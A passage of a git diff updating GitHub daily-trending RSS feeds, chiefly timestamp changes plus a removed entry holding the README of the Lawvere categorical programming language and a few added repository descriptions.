22ae643f5b5..ec9f39440bd 100644 --- a/groovy/daily/index.xml +++ b/groovy/daily/index.xml @@ -1,7 +1,14 @@ GitHub Groovy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:27Z + 2023-09-20T01:31:06Z Daily Trending of Groovy in GitHub + + kordamp/markdown-gradle-plugin + 2023-09-20T01:31:06Z + tag:github.com,2023-09-20:/kordamp/markdown-gradle-plugin + + <p>Markdown/HTML plugin for gradle</p><hr> + \ No newline at end of file diff --git a/gsc/daily/index.xml b/gsc/daily/index.xml index e73aa0b752e..933c0319511 100644 --- a/gsc/daily/index.xml +++ b/gsc/daily/index.xml @@ -1,7 +1,7 @@ GitHub GSC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:31Z + 2023-09-20T01:31:09Z Daily Trending of GSC in GitHub \ No newline at end of file diff --git a/hack/daily/index.xml b/hack/daily/index.xml index 5d889f0fc2c..f092c2f35f2 100644 --- a/hack/daily/index.xml +++ b/hack/daily/index.xml @@ -1,7 +1,7 @@ GitHub Hack Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:29Z + 2023-09-20T01:31:10Z Daily Trending of Hack in GitHub \ No newline at end of file diff --git a/haml/daily/index.xml b/haml/daily/index.xml index f052b6b39c7..14c434da2c0 100644 --- a/haml/daily/index.xml +++ b/haml/daily/index.xml @@ -1,7 +1,7 @@ GitHub Haml Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:28Z + 2023-09-20T01:31:08Z Daily Trending of Haml in GitHub \ No newline at end of file diff --git a/handlebars/daily/index.xml b/handlebars/daily/index.xml index 39d1c3e58a3..6a119fbbfe7 100644 --- a/handlebars/daily/index.xml +++ b/handlebars/daily/index.xml @@ -1,7 +1,7 @@ GitHub Handlebars Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:33Z + 2023-09-20T01:31:14Z Daily Trending of Handlebars in GitHub \ No newline at end of file diff --git a/haproxy/daily/index.xml b/haproxy/daily/index.xml index 65023e1e915..8e8386e8887 100644 --- a/haproxy/daily/index.xml +++ b/haproxy/daily/index.xml @@ -1,7 +1,7 @@ GitHub HAProxy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:35Z + 2023-09-20T01:31:11Z Daily Trending of HAProxy in GitHub \ No newline at end of file diff --git a/harbour/daily/index.xml b/harbour/daily/index.xml index 0ba1f80836a..e667020608d 100644 --- a/harbour/daily/index.xml +++ b/harbour/daily/index.xml @@ -1,7 +1,7 @@ GitHub Harbour Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:34Z + 2023-09-20T01:31:12Z Daily Trending of Harbour in GitHub \ No newline at end of file diff --git a/haskell/daily/index.xml b/haskell/daily/index.xml index bdecb0d16ee..7858c9d080c 100644 --- a/haskell/daily/index.xml +++ b/haskell/daily/index.xml @@ -1,14 +1,7 @@ GitHub Haskell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:38Z + 2023-09-20T01:31:17Z Daily Trending of Haskell in GitHub - - jameshaydon/lawvere - 2023-09-19T01:30:38Z - tag:github.com,2023-09-19:/jameshaydon/lawvere - - <p>A categorical programming language with effects</p><hr><p><a href="https://github.com/jameshaydon/lawvere/actions"><img src="https://github.com/jameshaydon/lawvere/workflows/CI/badge.svg?sanitize=true" alt="CI"></a></p> <div align="center"> <h1>Lawvere</h1> <p>A categorical programming language with effects</p> <p><a href="https://raw.githubusercontent.com/jameshaydon/lawvere/master/#buildinstallation">Install</a> • <a href="https://raw.githubusercontent.com/jameshaydon/lawvere/master/#tutorial">Tutorial</a> • <a href="https://raw.githubusercontent.com/jameshaydon/lawvere/master/#editor-support">Editor support</a> • <a href="https://raw.githubusercontent.com/jameshaydon/lawvere/master/#development">Development</a></p> <p><em>Very work-in-progress</em></p> </div> <pre><code>(.playerA .points - .playerB .points) { leader = (&gt; 0) [ true = "A", false = "B"], delta = abs show } "Player {.leader} is winning by {.delta} points!" </code></pre> <ul> <li>Compile to any category that has structures corresponding to the programming features you use (<a href="https://ncatlab.org/nlab/show/cartesian+closed+category">cartesian closed</a>, <a href="https://ncatlab.org/nlab/show/distributive+category">distributive</a>, etc.).</li> <li>Comes with is an evaluator in Haskell, a <a href="https://raw.githubusercontent.com/jameshaydon/lawvere/master/#compiling-to-javascript">compiler to JavaScript</a>, and a "bytecode" compiler to a <a href="https://raw.githubusercontent.com/jameshaydon/lawvere/master/#the-categorical-abstract-machine">categorical abstract machine</a>.</li> <li>Effect system based on free effect categories.</li> <li>Point-free functional programming (no lambdas); a categorical take on concatenative programming.</li> </ul> <p>The Lawvere language (and the executable <code>bill</code>) is named after <a href="https://en.wikipedia.org/wiki/William_Lawvere">William Lawvere</a>.</p> <h2>Tutorial</h2> <h3>REPL</h3> <p>Once <a href="https://raw.githubusercontent.com/jameshaydon/lawvere/master/#buildinstallation">installed</a>, start a Lawvere REPL (Read-Eval-Print-Loop) with <code>bill -i</code>:</p> <pre><code>$ bill -i -------------- Lawvere v0.0.0 -------------- &gt; 40 + 2 42 &gt; "hello" "hello" </code></pre> <p>(Or <code>cabal run bill -- -i</code> or <code>stack exec bill -- -i</code> if <code>bill</code> isn't install.)</p> <p><code>bill</code> can also be given a file: <code>bill -i example.law</code>. By omitting the <code>-i</code> flag, the <code>main</code> arrow is executed directly and the REPL is not started. In the REPL, <code>:r</code> will reload the loaded file, and <code>:q</code> will terminate the session. This README file is a literate Lawvere script, so you can load it and try out the examples:</p> <pre><code>$ bill -i README.md Check OK! &gt; answer + 1 43 </code></pre> <h3>Basic types</h3> <p>Values of basic types are written as in other programming languages, e.g. <code>42</code> and <code>"hello world"</code>. But in Lawvere, everything is an arrow (Lawvere's equivalent of a function), so that these actually denote constant arrows. For example, <code>42</code> denotes the arrow which is constantly 42:</p> <pre><code class="language-lawvere">ar answer : {} --&gt; Int = 42 </code></pre> <p>The above code defines an arrow using the <code>ar</code> keyword. The arrow has source <code>{}</code> (which is the syntax for the unit type) and target <code>Int</code>.</p> <p>When the REPL accepts an input, it actually executes it (with the Haskell evaluator) on the unit input. So for example inputting <code>incr</code> (which expects an <code>Int</code>) will result in an error.</p> <p>Lawvere also has support for basic arithmetic and comparisons. These are operations on arrows, for example <code>f + g</code> forms the pointwise addition of arrows <code>f</code> and <code>g</code>.</p> <h3>Composition</h3> <p>The main way to build up larger programs from smaller ones is by using <em>composition</em>. The syntax for this is very lightweight - it's simply whitespace! That is, <code>f g</code> denotes the composition of <code>f</code> and <code>g</code>. If you are coming from Haskell, note that this does <em>not</em> correspond to <code>.</code>, but to <code>&gt;&gt;&gt;</code>, that is, <code>f</code> comes first, then <code>g</code>.</p> <p>(If you know Forth composition and literals as constant functions will feel familiar.)</p> <p>To illustrate this we can use the built-in arrow <code>incr</code>, which increments an integer:</p> <pre><code class="language-lawvere">ar plus3 : Int --&gt; Int = incr incr incr ar fourtyFive : {} --&gt; Int = 42 plus3 </code></pre> <p>will output <code>45</code>.</p> <p>To run this, create a file with the above contents and use <code>bill</code>:</p> <pre><code>$ bill -i test.law -------------- Lawvere v0.0.0 -------------- checking.. Check OK! &gt; fourtyFive 45 &gt; fourtyFive plus3 incr 49 </code></pre> <p><em>Note:</em> The checker is a work-in-progress and is far from complete.</p> <p>The identity arrow is called <code>identity</code>, but you can also write it with nothing at all (or whitespace). So the mathematical function [x ↦ x * x + 1] can be written <code>identity * identity + 1</code>, or simply <code>* + 1</code>:</p> <pre><code class="language-lawvere">ar squarePlusOne : Int --&gt; Int = identity * identity + 1 ar squarePlusOne' : Int --&gt; Int = * + 1 </code></pre> <pre><code>$ bill -i test.law &gt; 2 squarePlusOne' 5 </code></pre> <h3>Products</h3> <p>Datatypes in <code>lawvere</code> are called <em>objects</em> (since they correspond to objects in category theory -- as arrows, as you might have guessed, correspond to morphisms). We define a new object <code>Point</code> with the keyword <code>ob</code>. If the object is a product type (or 'struct', or 'record'), specify it using braces:</p> <pre><code class="language-lawvere">ob Base Point = { x: Float, y: Float } </code></pre> <p>The arrow which projects out the <code>x</code> component from <code>Point</code> is written <code>.x</code>. (Think of the <code>foo.x</code> notation that is usual in other programming languages, except without anything preceding the dot.)</p> <pre><code>$ bill -i &gt; { user = { name = "Mina", age = 2 }, req = { format = "json" } } .user .name "Mina" </code></pre> <p>To create arrow <em>to</em> a product, we specify, again using braces, arrows to each component of the product (in categorical terms, a <a href="https://ncatlab.org/nlab/show/limit#definition_in_terms_of_universal_cones"><em>cone</em></a>) . For example,</p> <pre><code class="language-lawvere">ar somePoint : {} --&gt; Point = { x = 2.3, y = 4.6 } </code></pre> <p>This works because <code>2.3</code> and <code>4.6</code> are arrows of type <code>{} --&gt; Float</code>, and the braces syntax uses arrows which all have the same source.</p> <p>In general, arrows of type <code>X --&gt; { a: A, b: B, c: C, ... }</code> can be written as</p> <pre><code>{ a = f, b = g, ... } </code></pre> <p>if <code>f : X --&gt; A</code>, <code>g : X --&gt; B</code>, <code>h : X --&gt; C</code>, etc.</p> <p>Here's a fuller example of using products:</p> <pre><code class="language-lawvere">ob Base Point = { x: Float, y: Float } ar linFun : Point --&gt; Float = 2.0 * .x + 3.0 * .y ar someNum : {} --&gt; Float = { x = 2.3, y = 4.6 } linFun </code></pre> <p><code>someNum</code> is then <code>18.4</code>.</p> <p>The empty product object (in categorical terms, the terminal object) is written as <code>{}</code>, and the unique arrow to it is also <code>{}</code>. If there is any ambiguity (which occurs when defining functors) then you can use <code>{:}</code> and <code>{=}</code>.</p> <p>By using parentheses instead of braces, the components are positional rather than named. In this case the projections are <code>.1</code>, <code>.2</code>, etc. Using a positional product for <code>Point</code> the previous program would be:</p> <pre><code class="language-lawvere">ob Base PointPos = (Float, Float) ar linFunPos : PointPos --&gt; Float = 2.0 * .1 + 3.0 * .2 ar someNumPos : {} --&gt; Float = (2.3, 4.6) linFunPos </code></pre> <h3>String interpolation</h3> <p>A string can contain interpolated expressions. For example, <code>"Name: {f}, Age: {g}"</code> denotes an arrow <code>A --&gt; String</code> as long as both <code>f</code> and <code>g</code> are also morphisms <code>A --&gt; String</code>.</p> <p>The program:</p> <pre><code class="language-lawvere">ar james : {} --&gt; String = { name= "James", hobby= "playing Go" } "{.name} likes {.hobby}." </code></pre> <p>will result in <code>"James likes playing Go."</code></p> <h3>Sums</h3> <p>We can define sum types too. For instance, booleans:</p> <pre><code class="language-lawvere">ob Base Bool = [ true: {}, false: {} ] </code></pre> <p>Using square brackets we define a sum type with two summands, <code>true</code> and <code>false</code>, each with <code>{}</code> as payload.</p> <p>Sum types come equipped with constructors (injection). The constructor into the component with name <code>foo</code> is denoted <code>foo.</code>, simply mirroring the notation for projections.</p> <p>In order to define some simple boolean functions, we'll need to learn how to map <em>from</em> sums. This is like pattern matching, specifying an arrow for each summand (and thus, in categorical language, a cocone). This is similar to cones, except using square brackets instead of braces. To illustrate this let's define the negation function:</p> <pre><code class="language-lawvere">ar not : Bool --&gt; Bool = [ true = false., false = true. ] </code></pre> <p>In words, we split the arrow into two cases. In the first case (on the <code>true</code> component) we use <code>false.</code> constructor, on the other component we use <code>true.</code>.</p> <p>In general, to specify an arrow:</p> <pre><code>[ a: A, b: B, c: C, ... ] --&gt; X </code></pre> <p>one uses a cocone</p> <pre><code>[ a = f, b = g, c = h, ... ] </code></pre> <p>where <code>f : A --&gt; X</code>, <code>g : B --&gt; X</code>, <code>h : C --&gt; X</code>, etc.</p> <h3>Distribution</h3> <p>Continuing with boolean functions, let's try to define the <code>and</code> function:</p> <pre><code>ar and : {x: Bool, y: Bool} --&gt; Bool = ? </code></pre> <p>This is an arrow <em>to</em> a sum (<code>Bool</code>), so we can't use a cocone, and <em>from</em> a product (<code>{x : Bool, y: Bool }</code>), so we can't use a cone---are we stuck? Intuitively we want to inspect one of the two arguments <code>(x</code> or <code>y</code>) in order to continue. For this we will use the <em>distributor</em> <code>@x</code>. To understand what this does, first let's re-write <code>{x : Bool, y : Bool}</code> by expanding the definition of <code>Bool</code> at the <code>x</code> summand:</p> <pre><code>{ x: [ true: {}, false: {}], y: Bool } </code></pre> <p>The type of <code>@x</code> is:</p> <pre><code>@x : { x: [ true: {}, false: {}], y: Bool } --&gt; [ true: { x: {}, y: Bool}, false: { x: {}, y: Bool } ] </code></pre> <p>The morphism <code>@x</code> transforms the product into a sum; a sum with the same summand names as the sum in the component it targets. So in this case we end up with a sum with summands <code>true</code> and <code>false</code>, and the <code>x</code> component contains the unwrapped payload for the original sum at <code>x</code> (in this case they are both <code>{}</code>).</p> <p>Using this we can define <code>and</code> as follows:</p> <pre><code class="language-lawvere">ar and : {x : Bool, y : Bool} --&gt; Bool = @x [ true = .y, false = {} false. ] </code></pre> <p>In words: "Perform a case analysis on <code>x</code>, if <code>x</code> is true, then return <code>y</code>, otherwise return <code>false</code>". Note the similarity with the equivalent Elm program (Haskell doesn't have anonymous records, making the comparison less clear), even though Lawvere has no variables or λs:</p> <pre><code class="language-elm">and : { x : Bool, y : Bool } -&gt; Bool and input = case input.x of True -&gt; input.y False -&gt; False </code></pre> <h3>Summing over a list</h3> <p>In this example we'll sum up a list of values.</p> <p>First we'll define lists of <code>Int</code>s (we'll learn how to define the list <em>functor</em> later, which means we don't need to define a new object for each possible object of elements):</p> <pre><code class="language-lawvere">ob Base ListI = [ empty: {}, cons: { head: Int, tail: ListI } ] </code></pre> <p>An example list can be built up by composing morphisms together:</p> <pre><code class="language-lawvere">ar aFewPrimes : {} --&gt; ListI = empty. { head = 2, tail = } cons. { head = 3, tail = } cons. { head = 5, tail = } cons. </code></pre> <p>Note that in <code>{ head = 2, tail = }</code>, the arrow being used at the <code>tail</code> component is the identity. This could also be written <code>{ head = 2, tail = identity}</code>. Another thing to note is that the <code>2</code> being used here doesn't have source <code>{}</code>, indeed all integer literals actually have type <code>forall a. a --&gt; Int</code> (and similarly for other scalars). This saves one from having to write <code>{} 2</code>. Like Haskell, Lawvere has some syntactic sugar for list-building:</p> <pre><code class="language-lawvere">ar morePrimes : {} --&gt; ListI = #(2, 3, 5, 7, 11) </code></pre> <p>We can sum over a list using a cocone:</p> <pre><code class="language-lawvere">ar sum : ListI --&gt; Int = [ empty = 0, cons = .head + .tail sum ] </code></pre> <p>In words: If the list is <code>empty</code>, then return <code>0</code>. Otherwise take the <code>head</code>, and the <code>sum</code> of the <code>.tail</code>, and <code>+</code> them together.</p> <pre><code>&gt; morePrimes sum 28 </code></pre> <h3>Effects</h3> <p>(Very WIP)</p> <p>Lawvere is is a pure language but allows programming with effects using free <a href="https://ncatlab.org/nlab/show/Freyd+category">Freyd categories</a>, much like Haskell is pure but allows programming with effects using monads or arrows. In fact Freyd categories and arrows are very similar, e.g. see <a href="http://homepages.inf.ed.ac.uk/cheunen/publications/2008/arrows/arrows.pdf">Categorical semantics for arrows</a>.</p> <h4>I/O</h4> <p>The <code>IO</code> effect is built-in. Here is an example of a morphism which performs I/O:</p> <pre><code class="language-lawvere">ar Base[IO] hello : {} --&gt; String = ~"What is your name?" putLine getLine ~"Hello {}" putLine </code></pre> <p>To run this, one must use the <code>io</code> functor:</p> <pre><code class="language-lawvere">ar InputOutput helloIO : {} --&gt; {} = io(hello) </code></pre> <p>This will print <code>What is your name</code>, wait for the user to input their name, and then greet them.</p> <p>Cones (<code>{..}</code>) are not permitted in effectful morphisms, but one can still perform effects at a single component. Here is a program which asks for 2 pieces of user input:</p> <pre><code class="language-lawvere">// Turn a question into an answer. ar Base[IO] ask : String --&gt; String = putLine getLine // Ask some questions and then print a greeting. ar Base[IO] greet : {} --&gt; {} = ~{name = "What is your name?", hobby = "What is your favourite hobby?"} !name(ask) !hobby(ask) ~"Hello {.name}, I like {.hobby} too!" putLine ar InputOutput greetIO : {} --&gt; {} = io(greet) </code></pre> <p>Effectful programming will be explained more in the next section. In practice the main points are:</p> <ul> <li>Cones (<code>{..}</code>) are not permitted.</li> <li>Pure computations must be lifted with <code>~</code>.</li> <li>To run an effect at a single component of a product, use <code>!label(..)</code> syntax.</li> <li>To run effects you need to map to the <code>InputOutput</code> category with <code>io</code>.</li> </ul> <h4>State</h4> <p>In this example we'll define two sorts of effects: integer state and throwing a string error. See <a href="https://raw.githubusercontent.com/jameshaydon/lawvere/master/examples/partial-state.law">here</a></p> <pre><code class="language-lawvere">effect IntState over Base { get : {} --&gt; Int, put : Int --&gt; {} } effect Err over Base { err : String --&gt; [] } </code></pre> <p>This defines a theory <code>IntState</code> for extending the <code>Base</code> category with two distinguished morphisms for state manipulation: <code>get</code> and <code>put</code>. Similarly <code>Err</code> is a theory with a distinguished morphism <code>err : String -&gt; []</code>. Note that <code>[]</code> is the empty sum, i.e. the initial object of <code>Base</code>. Therefore <code>err</code> can be used to map from <code>String</code> to <em>any</em> object, by composing with <code>[]</code>, the empty cocone.</p> <p>We can then define morphisms in this abstract extension of <code>Base</code>. The following morphism increments the state while returning the original value:</p> <pre><code class="language-lawvere">ar Base[IntState] next : {} --&gt; Int = get ~{ current = , next = incr} !next(put) ~.current </code></pre> <p>There are two new pieces of syntax:</p> <ul> <li><code>~</code> denotes the canonical injection into the effect-category. So this can be used for lifting any pure morphism. This performs the same role as the <a href="https://hackage.haskell.org/package/base-4.14.1.0/docs/Control-Arrow.html#v:arr"><code>arr</code></a> method of the <a href="https://hackage.haskell.org/package/base-4.14.1.0/docs/Control-Arrow.html#t:Arrow"><code>Arrow</code></a> type class in Haskell.</li> <li><code>!label(..)</code> (where <code>label</code> can be any component name). Effect categories do not (necessarily) have products, so using the cone syntax is prohibited. The sequencing of effects is specified by using the categorical composition. The effect-category has the same objects as the pure category it extends however, and an effectful morphisms can be performed at one component of a product of the base category. If <code>f : A --&gt; B'</code> is an effectful morphism and <code>{a : A, b : B, c : C}</code> is a product in the pure category, then <code>!b(f) : {a : A, b : B, c : C} --&gt; {a : A, b : B', c : C}</code> is another effectful morphism. In other words, <code>!b(f)</code> means "perform effect <code>f</code> at component <code>b</code>". This performs the same role as <a href="https://hackage.haskell.org/package/base-4.14.1.0/docs/Control-Arrow.html#v:first"><code>first</code></a> in <a href="https://hackage.haskell.org/package/base-4.14.1.0/docs/Control-Arrow.html#t:Arrow"><code>Arrow</code></a> except for any component.</li> </ul> <p>So <code>next</code> works as follows:</p> <ul> <li><code>get</code> the current state,</li> <li>Create two versions of the current state (the one we want to return, and the one we want to <code>put</code>) using the pure morphism <code>{current = , next = incr}</code>,</li> <li>Do a <code>put</code> on the <code>next</code> component,</li> <li>Project out (purely) the <code>current</code> component.</li> </ul> <p>For testing the error effect, we'll make a version which throws an error if the next number is greater than 3:</p> <pre><code class="language-lawvere">ar Base[IntState, Err] nextSub3 : {} --&gt; Int = next ~( { sub3 = &lt; 3, ok = } @sub3 ) [ true = ~.ok, false = ~"Was not under 3!" err []] </code></pre> <p>Next we'll specify how to map this function over a list. We can't reuse the <code>list</code> functor because that doesn't specify how to sequence the effects: should the effect be performed first on the head or the tail of the list?</p> <pre><code class="language-lawvere">ar Base[IntState, Err] mapNextSub3 : list({}) --&gt; list(Int) = [ empty = ~empty., cons = !head(nextSub3) !tail(mapNextSub3) ~cons. ] </code></pre> <p>We explicitly sequence the effects, using composition, on first the head and then the tail of the list.</p> <p>The effect-category is still abstract, to actually use the above we must define an effect-category over base and interpret the effects:</p> <pre><code class="language-lawvere">category ErrIntState { ob = ob Base, ar A --&gt; B = ar Base : { state: Int, value: A } --&gt; [ err: String, suc: { state: Int, value: B } ], identity = suc., f g = f [ err = err., suc = g ], SumOb(idx) = SumOb(idx), sumInj(label) = { state, value = .value sumInj(label) } suc., sumUni(cocone) = @value sumUni(cocone) } </code></pre> <p>This defines a new category with the same objects as <code>Base</code>, but with a different composition, identity and sum. Next we make this into an effect category over <code>Base</code>:</p> <pre><code class="language-lawvere">effect_category pureErrIntState ErrIntState over Base { ~f = { state, value = .value f } suc., side(f) = { runeff = { state = .state, value = .value .eff } f, onside = .value .pur } @runeff [ err = .runeff err., suc = { state = .runeff .state, value = { eff = .runeff .value, pur = .onside } } suc. ] } </code></pre> <p>This is done by defining the canoncial injection <code>~</code> and <code>side</code>, the <em>action</em> of the effect-category at product components. This is done by interpreting <code>!eff{..}</code>, lifting some effectful morphism <code>A --&gt; B</code> into a product <code>{ pur: P, eff: A } --&gt; { pur: P, eff: B }</code>.</p> <p>Then we provide interpretations for the effects we want to use:</p> <pre><code class="language-lawvere">interpret IntState in ErrIntState { get = { state = .state, value = .state} suc., put = { state = .value, value = {} } suc. } interpret Err in ErrIntState { err = .value err. } </code></pre> <p>Finally, we can execute this effect:</p> <pre><code class="language-lawvere">ar Base main : {} --&gt; Int = { state = 0, // initialise the state to 0 value = #({}, {}, {}) } // we'll map over a list of size 3 pureErrIntState(mapNextSub3) </code></pre> <p>This returns the list <code>#(0, 1, 2)</code>, but if one increases the size of the length of the list to 4, then it will instead throw an error.</p> <p>Checkout the <a href="https://raw.githubusercontent.com/jameshaydon/lawvere/master/examples/partial-state.law">full example</a>.</p> <h3>The Categorical Abstract Machine</h3> <p>Lawvere has a compiler to a <a href="https://www.sciencedirect.com/science/article/pii/0167642387900207">Categorical Abstract Machine</a>. Again not all features are supported yet.</p> <p>Compiling the <code>sum</code> function above (called on an empty list) produces:</p> <pre><code>$ bill --target vmcode examples/sum.law #main: empty. call #sum #sum: cocone empty:#sum_0 cons:#sum_1 #sum_0: scal 0 #sum_1: push scal 1 push_cone pop push .tail call #sum push_cone pop end_cone 1 2 prim plus </code></pre> <p>And you can execute the code on the virtual machine with:</p> <pre><code>bill --target vm examples/sum.law -------------- Lawvere v0.0.0 -------------- Checking.. Check OK! Running on categorical machine.. Result: 0 </code></pre> <h3>Compiling to JavaScript</h3> <p>To compile to JavaScript, use the <code>--target js</code> option:</p> <pre><code>$ bill --target js test.law </code></pre> <p>This will output a JavaScript program that logs the output. You can pipe this directly to <code>node</code>:</p> <pre><code>$ bill --target js test.law | node 45 </code></pre> <p>The JavaScript compiler isn't well maintained and will just error out on the anything but the most basic language features.</p> <h2>Build/Installation</h2> <p>You can build the project with stack or nix.</p> <h3>Stack</h3> <p>First install stack (<code>curl -sSL https://get.haskellstack.org/ | sh </code>) and then use <code>stack build</code>. To install the <code>bill</code> executable (to <code>~/.local/bin</code>) run <code>stack install</code>.</p> <p>On linux you may also need to install <code>tinfo</code>, e.g. <code>sudo apt-get install libtinfo-dev</code> on Ubuntu.</p> <h3>Nix</h3> <p>Make sure you have <a href="https://nixos.org/">nix</a> and optionally <a href="https://direnv.net/">direnv</a> installed.</p> <p><em>Optional:</em> (but faster) install cachix (<code>nix-env -iA cachix -f https://cachix.org/api/v1/install</code>) and use the <code>lawvere</code> cache: <code>cachix use lawvere</code>.</p> <p>To build project dependencies and tooling the first time enter a nix shell either using direnv (recommended):</p> <pre><code>$ echo "use nix" &gt; .envrc $ direnv allow </code></pre> <p>or manually:</p> <pre><code>$ nix-shell </code></pre> <p>Once in the nix shell, to build a release and run it:</p> <pre><code>$ nix-build nix/release.nix $ result/bin/bill &lt;file&gt; </code></pre> <h2>Editor support</h2> <p>For the moment there is only an <a href="https://raw.githubusercontent.com/jameshaydon/lawvere/master/tools/emacs">emacs mode</a>. The syntax looks much better if you use a font with programming ligatures, e.g. <a href="https://github.com/tonsky/FiraCode">FiraCode</a> or <a href="https://github.com/tonsky/FiraCode#alternatives">alternatives</a>.</p> <h2>Development</h2> <p>To update the nix derivation when project dependencies change:</p> <pre><code>$ hpack $ cabal2nix . &gt; nix/packages/lawvere.nix $ direnv reload </code></pre> <p><em>Note:</em> Cabal is also available in the nix shell so you can build with it as well if you like:</p> <pre><code>$ cabal build </code></pre> <hr> <h2>TODO</h2> <ul> <li>Implement more general diagrams and limits/colimits thereof.</li> <li>Make example showing extensible data programming, e.g. let-desugaring as a cartesian retract.</li> <li>Defining via sketches more pure categories, finitely presentable caregories, etc.</li> <li>Make a small (but not just a few lines) "real program".</li> <li>Allow one to define morphisms via curry/uncurry.</li> <li>Think about if diagrams (which are used for e.g. (co)limits) can be represented as functors directly (from discrete categories).</li> <li>Type checker is not complete; it really needs row variables to be implemented properly.</li> </ul> - \ No newline at end of file diff --git a/haxe/daily/index.xml b/haxe/daily/index.xml index 9ec86930412..fe110afd1ef 100644 --- a/haxe/daily/index.xml +++ b/haxe/daily/index.xml @@ -1,7 +1,7 @@ GitHub Haxe Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:52Z + 2023-09-20T01:31:30Z Daily Trending of Haxe in GitHub \ No newline at end of file diff --git a/hcl/daily/index.xml b/hcl/daily/index.xml index d16604a713b..18a2845dea4 100644 --- a/hcl/daily/index.xml +++ b/hcl/daily/index.xml @@ -1,21 +1,14 @@ GitHub HCL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:52Z + 2023-09-20T01:31:30Z Daily Trending of HCL in GitHub - omenking/terraform-beginner-bootcamp-2023 - 2023-09-19T01:30:52Z - tag:github.com,2023-09-19:/omenking/terraform-beginner-bootcamp-2023 - - <p></p><hr> - - - ishioni/homelab-ops - 2023-09-19T01:30:52Z - tag:github.com,2023-09-19:/ishioni/homelab-ops - - <p></p><hr> + hashicorp/terraform-azurerm-terraform-enterprise + 2023-09-20T01:31:30Z + tag:github.com,2023-09-20:/hashicorp/terraform-azurerm-terraform-enterprise + + <p>A Terraform module for deploying Terraform Enterprise on Azure.</p><hr> \ No newline at end of file diff --git a/hiveql/daily/index.xml b/hiveql/daily/index.xml index e4f473b6b60..93bef50860d 100644 --- a/hiveql/daily/index.xml +++ b/hiveql/daily/index.xml @@ -1,7 +1,7 @@ GitHub HiveQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:48Z + 2023-09-20T01:31:25Z Daily Trending of HiveQL in GitHub \ No newline at end of file diff --git a/hlsl/daily/index.xml b/hlsl/daily/index.xml index 0f0e2b74c69..4438ccbf6b8 100644 --- a/hlsl/daily/index.xml +++ b/hlsl/daily/index.xml @@ -1,7 +1,7 @@ GitHub HLSL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:49Z + 2023-09-20T01:31:27Z Daily Trending of HLSL in GitHub \ No newline at end of file diff --git a/holyc/daily/index.xml b/holyc/daily/index.xml index 9a03ffe56d6..e49331f7d54 100644 --- a/holyc/daily/index.xml +++ b/holyc/daily/index.xml @@ -1,7 +1,7 @@ GitHub HolyC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:58Z + 2023-09-20T01:31:35Z Daily Trending of HolyC in GitHub \ No newline at end of file diff --git a/hoon/daily/index.xml b/hoon/daily/index.xml index 9d2f12b5105..739487558eb 100644 --- a/hoon/daily/index.xml +++ b/hoon/daily/index.xml @@ -1,7 +1,7 @@ GitHub hoon Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:57Z + 2023-09-20T01:31:33Z Daily Trending of hoon in GitHub \ No newline at end of file diff --git a/html+ecr/daily/index.xml b/html+ecr/daily/index.xml index 0472fe74de0..f250292c408 100644 --- a/html+ecr/daily/index.xml +++ b/html+ecr/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+ECR Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:02Z + 2023-09-20T01:31:37Z Daily Trending of HTML+ECR in GitHub \ No newline at end of file diff --git a/html+eex/daily/index.xml b/html+eex/daily/index.xml index 485f2ada419..b9e948f2d59 100644 --- a/html+eex/daily/index.xml +++ b/html+eex/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+EEX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:59Z + 2023-09-20T01:31:36Z Daily Trending of HTML+EEX in GitHub \ No newline at end of file diff --git a/html+erb/daily/index.xml b/html+erb/daily/index.xml index 8d0bfaaa43f..46abf0c201f 100644 --- a/html+erb/daily/index.xml +++ b/html+erb/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+ERB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:21Z + 2023-09-20T01:31:57Z Daily Trending of HTML+ERB in GitHub \ No newline at end of file diff --git a/html+php/daily/index.xml b/html+php/daily/index.xml index 63836834a1d..de63cfe7a37 100644 --- a/html+php/daily/index.xml +++ b/html+php/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+PHP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:24Z + 2023-09-20T01:31:59Z Daily Trending of HTML+PHP in GitHub \ No newline at end of file diff --git a/html+razor/daily/index.xml b/html+razor/daily/index.xml index 2b7412cce2d..79cc35e8605 100644 --- a/html+razor/daily/index.xml +++ b/html+razor/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+Razor Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:22Z + 2023-09-20T01:31:58Z Daily Trending of HTML+Razor in GitHub \ No newline at end of file diff --git a/html/daily/index.xml b/html/daily/index.xml index c406aa9a5d9..d9fa54f7559 100644 --- a/html/daily/index.xml +++ b/html/daily/index.xml @@ -1,14 +1,21 @@ GitHub HTML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:31:05Z + 2023-09-20T01:31:41Z Daily Trending of HTML in GitHub - techwithlucy/youtube - 2023-09-19T01:31:05Z - tag:github.com,2023-09-19:/techwithlucy/youtube - - <p></p><hr><p>Resources for Tech With Lucy YouTube Tutorials</p> + geekan/MetaGPT + 2023-09-20T01:31:41Z + tag:github.com,2023-09-20:/geekan/MetaGPT + + <p>🌟 The Multi-Agent Framework: Given one line Requirement, return PRD, Design, 